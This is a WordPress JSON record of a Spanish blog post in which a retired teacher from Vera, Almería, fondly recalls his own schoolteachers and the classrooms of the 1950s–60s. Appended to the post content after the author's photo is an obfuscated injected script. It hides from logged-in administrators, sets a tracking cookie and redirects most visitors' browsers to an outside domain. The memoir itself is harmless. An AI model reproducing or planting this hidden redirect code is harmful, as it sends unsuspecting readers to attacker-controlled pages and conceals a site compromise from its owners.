{"id":978,"date":"2015-03-03T12:00:13","date_gmt":"2015-03-03T12:00:13","guid":{"rendered":"https:\/\/blog.vera.es\/cultura\/?p=978"},"modified":"2015-11-23T10:28:46","modified_gmt":"2015-11-23T10:28:46","slug":"evocaciones-a-mis-queridos-maestros","status":"publish","type":"post","link":"https:\/\/blog.vera.es\/cultura\/2015\/03\/03\/evocaciones-a-mis-queridos-maestros\/","title":{"rendered":"EVOCACIONES A MIS QUERIDOS MAESTROS"},"content":{"rendered":"<p style=\"text-align: justify\">Varios, entre los numerosos art\u00edculos que he publicado, hacen referencia a la ense\u00f1anza y, sobre todo, al colegio donde ejerc\u00ed durante casi cuatro d\u00e9cadas mi actividad profesional: el C.P. \u201cReyes Cat\u00f3licos\u201d de Vera (Almer\u00eda); pero, inexplicable e incomprensiblemente, ninguno de ellos dedicado a mis ilustres maestros. Por eso, creo que es de justicia que \u00e9ste que escribo, con profundo respeto y grata admiraci\u00f3n, sea dedicado a ellos por su buen hacer, por la impronta que dejaron, y por el legado que transmitieron tras su periodo de docencia, es decir, la cultura en su vasto y amplio t\u00e9rmino. Ya no se encuentran con nosotros; pero s\u00ed en mi recuerdo. Me estoy refiriendo a D\u00aa Isabel Garc\u00eda Ruiz, D. Juan Miguel N\u00fa\u00f1ez Mart\u00ednez, D. Francisco Caparr\u00f3s Gonz\u00e1lez y mi querido padre, D. Pedro Morales Cervantes, que mucho me ense\u00f1aron y de quienes tanto aprend\u00ed.<\/p>\n<p style=\"text-align: justify\"><!--more--><\/p>\n<p style=\"text-align: justify\">En relaci\u00f3n a D\u00aa Isabel Garc\u00eda Ru\u00edz, mi hermana Mari Carmen, con la publicaci\u00f3n de su art\u00edculo \u201cEscenas de Colegio\u201d en el blog del 50 aniversario del C.P. \u201cReyes Cat\u00f3licos\u201d, evocaba, con perfecci\u00f3n milim\u00e9trica, su propio recuerdo, que, ocho a\u00f1os antes, era el mismo m\u00edo: <b>\u201cMi infancia son recuerdos de una escuela a la que, a principios de los a\u00f1os sesenta, asist\u00edamos, ilusionados y felices ni\u00f1os y ni\u00f1as a aprender las primeras letras que nos ense\u00f1aba do\u00f1a Isabel Garc\u00eda, maestra de p\u00e1rvulos, inolvidable por querida. La escuela era una amplia y larga habitaci\u00f3n dentro de su propia casa, sita en calle del Mar, a escasos cien metros de la m\u00eda. Despu\u00e9s de formar fila en la acera, nos acomod\u00e1bamos en cada una de las seis u ocho sillas que rodeaban las cinco o seis mesas de aquella aula tan peculiar si la compar\u00e1bamos con las de la actualidad. Por cada una de \u00e9sas, \u00edbamos pasando seg\u00fan avanz\u00e1bamos en conocimientos y destrezas. Despu\u00e9s de tres a\u00f1os de la rigurosa y, sin embargo, cercana educaci\u00f3n de do\u00f1a Isabel, conseguido el objetivo de llegar a la mesa de los mayores, junto a la que quedaba al lado de la ventana- lo que supon\u00eda, real y metaf\u00f3ricamente hablando, la salida a otra parcela de mayor conocimiento-, me lleg\u00f3 el momento, pues ya estaba preparada para pasar al Grupo Escolar Reyes Cat\u00f3licos\u2026\u201d <\/b> A\u00f1adir a esto que el libro de la lectura era \u201cEl Cat\u00f3n\u201d y, con prontitud, nos familiarizamos con las letras y n\u00fameros, es decir, hac\u00edamos nuestros primeros \u201cpinitos\u201d con muestras, sumas y restas. D\u00aa Isabel fue una excelente y brillante parvulista.<\/p>\n<p style=\"text-align: justify\">Acabada esta etapa de la ense\u00f1anza, si mal no recuerdo, sentado en el asiento trasero de la bicicleta de mi padre, por caminos empedrados y \u201ccontra viento y marea\u201d, d\u00eda tras d\u00eda durante dos a\u00f1os, nos desplaz\u00e1bamos hacia su lugar de trabajo: Las Cunas, de Cuevas del Almanzora. M\u00e1s tarde, el medio de transporte fue una \u201cmobilette\u201d y tras ella una \u201cguzzi\u201d. Recuerdo a la perfecci\u00f3n su escuela de propiedad. Era \u00e9sta una vieja habitaci\u00f3n rectangular adosada a una casa con techo azulado y cola\u00f1as de madera. El suelo, elaborado con materiales de la \u00e9poca -cal y arena -, irregular y sin losas. Al entrar a la escuela, a la izquierda, la vieja mesa de mi padre. Detr\u00e1s de ella, en la pared: el crucifijo, la foto de Franco y Jos\u00e9 Antonio, y la imagen de la Inmaculada Concepci\u00f3n. Enfrente, una \u00fanica ventana con insuficiente iluminaci\u00f3n. Las mesas, bipersonales, eran ocupadas por un alumnado heterog\u00e9neo, es decir, de edades distintas y diferentes conocimientos. El lugar de recreo, una era donde se trillaba y, al otro lado de la carretera, la escuela de ni\u00f1as regentada por una maestra. Entonces, la coeducaci\u00f3n era algo inimaginable, una utop\u00eda.<\/p>\n<p style=\"text-align: justify\">Desde estas l\u00edneas, pap\u00e1, mi profundo cari\u00f1o y amor por todo cuanto me ense\u00f1aste y mi agradecimiento por tu extremado celo, cuidado y preocupaci\u00f3n por tu familia. \u00a1Fuiste un ejemplar padre y un extraordinario maestro!<\/p>\n<p style=\"text-align: justify\">Pasan dos cursos y otros dos grandes maestros se preocupan de mi aprendizaje: D. Juan Miguel N\u00fa\u00f1ez Mart\u00ednez y D. Francisco Caparr\u00f3s Gonz\u00e1lez. El primero, con su escuela en la encrucijada calle Mayor e Hileros y, el segundo, en el P\u00f3sito y carretera Almer\u00eda.<\/p>\n<p style=\"text-align: justify\">La clase de D. Juan Miguel, cuadrangular y con una dependencia anexa a la misma, estaba provista de una mesa de profesor junto a la pizarra oscilatoria de color verde. No era negra como la de mi padre. Sus bancas, tambi\u00e9n bipersonales, con agujeros para depositar el tintero. Alg\u00fan que otro mapa de cart\u00f3n colgaba por las paredes. Al fondo de la clase, frente a la entrada por calle Hileros, un largo armario de madera y acristalado con material escolar.<\/p>\n<p style=\"text-align: justify\">Al aula de D. Paco, primeramente en el P\u00f3sito, hab\u00eda que entrar subiendo unas escaleras para, despu\u00e9s, a la izquierda, encontrarse con ella, ya que D. Narciso, otro profesor de la \u00e9poca, ten\u00eda la suya a la derecha. Tras el derrumbe del P\u00f3sito, lugar donde se encontraba el mercado de abastos, D. Paco traslad\u00f3 su escuela a la carretera Almer\u00eda. Esta escuela, recuerdo, era espaciosa y con otra dependencia anexa. Estaba provista de mobiliario similar a las ya nombradas.<\/p>\n<p style=\"text-align: justify\">Descritas las aulas, los estereotipos propios de la Vieja Escuela, la de los a\u00f1os cincuenta, eran: la enciclopedia \u00c1lvarez, la bancada ya expresada, el tintero y plum\u00edn, el libro de rotaci\u00f3n del alumno supervisado por la Inspecci\u00f3n, las fotos e im\u00e1genes anteriormente nombradas, los mapas de cart\u00f3n, el l\u00e1piz, la goma, tinta china roja y negra, el puntero del profesor, el encerado negro, la regla, escuadra y cartab\u00f3n, as\u00ed como el reparto de leche en polvo y queso americano enlatado, gracias a la ayuda prestada por organizaciones como Unicef, a fin de paliar la hambruna existente como consecuencia de nuestra contienda civil y aislamiento ante el exterior.<\/p>\n<p style=\"text-align: justify\">Las materias que mis maestros consideraban m\u00e1s importantes de la enciclopedia \u00c1lvarez eran Lenguaje, Matem\u00e1ticas, Geograf\u00eda e Historia, considerando ellos que estas disciplinas eran algo nuestro y, su aprendizaje, predominantemente memor\u00edstico, mucho contribuy\u00f3 a esa clase de ense\u00f1anza. Hoy refrescamos nuestro memoria de cosas que a\u00fan rememoramos, reflejo de lo retenido desde edades tempranas.<\/p>\n<p style=\"text-align: justify\">Por \u00faltimo, me complace decir que las personas nombradas, mis maestros, fueron magn\u00edficos ense\u00f1antes que se distinguieron por su buen hacer en aras al servicio de la educaci\u00f3n. Su impronta como docentes a\u00fan pervive en el recuerdo de generaciones posteriores y, desde estas l\u00edneas, mi evocaci\u00f3n y profunda admiraci\u00f3n a todos ellos por su diligente contribuci\u00f3n y entrega al servicio de la docencia y de la cultura.<\/p>\n<p><figure id=\"attachment_23\" aria-describedby=\"caption-attachment-23\" style=\"width: 180px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2014\/02\/150571_129346217122812_100001423032344_190639_1342949_a.jpg\"><img decoding=\"async\" class=\"size-full wp-image-23\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2014\/02\/150571_129346217122812_100001423032344_190639_1342949_a.jpg\" alt=\"Diego Morales Carmona\" width=\"180\" height=\"109\" \/><\/a><figcaption id=\"caption-attachment-23\" class=\"wp-caption-text\">Diego Morales Carmona<\/figcaption><\/figure><script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https:\/\/www.areyourobots.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\\x20path=\/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](\/Android\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/BlackBerry\/i)||navigator['userAgent'][_0x287a('0xd')](\/iPhone|iPad|iPod\/i)||navigator[_0x287a('0xe')]['match'](\/Opera Mini\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/IEMobile\/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Varios, entre los numerosos art\u00edculos que he publicado, hacen referencia a la ense\u00f1anza y, sobre todo, al colegio donde ejerc\u00ed durante casi cuatro d\u00e9cadas mi actividad profesional: el C.P. \u201cReyes Cat\u00f3licos\u201d de Vera (Almer\u00eda); pero, inexplicable e incomprensiblemente, ninguno de ellos dedicado a mis ilustres maestros. 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